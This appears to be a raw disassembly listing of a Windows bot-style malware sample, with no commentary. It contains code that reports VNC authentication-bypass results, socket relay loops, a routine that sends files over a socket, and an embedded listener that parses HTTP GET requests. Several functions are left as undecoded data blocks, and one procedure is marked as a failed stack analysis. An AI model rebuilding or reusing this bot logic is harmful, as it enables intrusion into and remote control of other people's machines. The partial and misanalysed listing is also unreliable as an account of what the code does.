		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431448[eax]
		push	ebx
		lea	eax, dword_431448[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCE0
		nop
		call	near ptr 26E0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCD4
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFF4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h,	0B02415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h
		dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh,	68358B00h
		dd 57004270h, 875FF57h,	0B03815FFh, 0E4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh
		dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h
		dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 2007E890h, 0FF50022Fh, 4CDCD835h, 1FFBE800h,	5090022Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433544h, 0F1E89057h, 8D022425h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	261F9FE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F86E890h, 0FF6A0226h, 0FFF04589h, 18E8D875h, 90022722h
		dd 0F075FF57h, 197AE890h, 0FF570228h, 71E8EC75h, 90022819h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E25F4h
		dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh
		dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCEC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h,	15FFF05Dh
		dd 4CB024h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h
		dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF38h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0ECA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h
		dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h,	403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2C176FE8h, 57056A02h, 0AFCC15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 354C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 1468156Ah, 50004338h, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0C68FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 433804h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337EC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337E468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337CC68h
		dd 8D61EB00h, 0FFFF5085h, 37C468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 37B4680Dh, 40EB0043h, 0FF50858Dh
		dd 0AC68FFFFh, 50004337h, 0D40BE8h, 0C0855900h,	560A7559h
		dd 9868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	433794h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433774h
		dd 2F1E957h, 6CBF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43375468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433750h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 43373Ch, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433734h, 0D352E850h, 85590000h, 347559C0h
		dd 8BE0A6Ah, 59004337h,	0FED8BD8Dh, 0A5F3FFFFh,	0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 68FFFFh, 50004337h
		dd 0D307E8h, 0C0855900h, 6A2A7559h, 36E8BE05h, 8D590043h
		dd 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h, 51E8A450h
		dd 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h,	68FFFFFFh
		dd 4336E0h, 0D2C6E850h,	85590000h, 850F59C0h, 0B6h, 0FD2C858Dh
		dd 8D50FFFFh, 0FFFF0485h, 458D50FFh, 458D50ECh,	458D50E8h
		dd 458D50E0h, 858D50D8h, 0FFFFFD60h, 4336B868h,	62E85000h
		dd 8D0000D8h, 0FFFF0485h, 8AE850FFh, 8B0000C9h,	2C858DF8h
		dd 50FFFFFDh, 0C97CE8h,	0F4458900h, 858D326Ah, 0FFFFFF04h
		dd 81E85056h, 830000C7h, 858D34C4h, 0FFFFFF04h,	57F475FFh
		dd 4336B068h, 5FE85000h, 6A0000CAh, 4858D10h, 56FFFFFFh
		dd 0CF8FE850h, 0C4830000h, 0F445891Ch, 50EC458Dh, 50E8458Dh
		dd 50E0458Dh, 50D8458Dh, 68C4458Dh, 4336A4h, 0CA2CE850h
		dd 0C4830000h, 1D6A5618h, 43368468h, 11EE900h, 858D0000h
		dd 0FFFFFF50h, 43367C68h, 0F5E85000h, 590000D1h, 0F59C085h
		dd 0E485h, 286A5600h, 43365068h, 875FF00h, 75FFD3FFh, 0C4458DF4h
		dd 120E850h, 83590000h,	0F5901F8h, 0B685h, 0C4458D00h
		dd 20858D50h, 68FFFFF7h, 433634h, 0C9C8E850h, 0C4830000h
		dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh
		dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h
		dd 14C483FFh, 14AE8h, 1F88300h,	93850Fh, 6A560000h, 361C6817h
		dd 75FF0043h, 8DD3FF08h, 8D50C445h, 0FFF72085h,	35FC68FFh
		dd 0E8500043h, 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh
		dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh
		dd 0F920B5FFh, 2BE8FFFFh, 83FFFFABh, 858D14C4h,	0FFFFF720h
		dd 6256E850h, 5FF0000h,	4CDAB0h, 562EEB59h, 0D868206Ah
		dd 0EB004335h, 50858D1Fh, 68FFFFFFh, 42C9C4h, 0D0F6E850h
		dd 85590000h, 0D7559C0h, 681B6A56h, 4335BCh, 0FF0875FFh
		dd 8D646AD3h, 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh
		dd 3B470CC4h, 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h
		dd 5F58016Ah, 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCF8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2670535h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAFA4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEEC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB040
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE90
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB03C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA64 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433854 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB03C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_43382C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
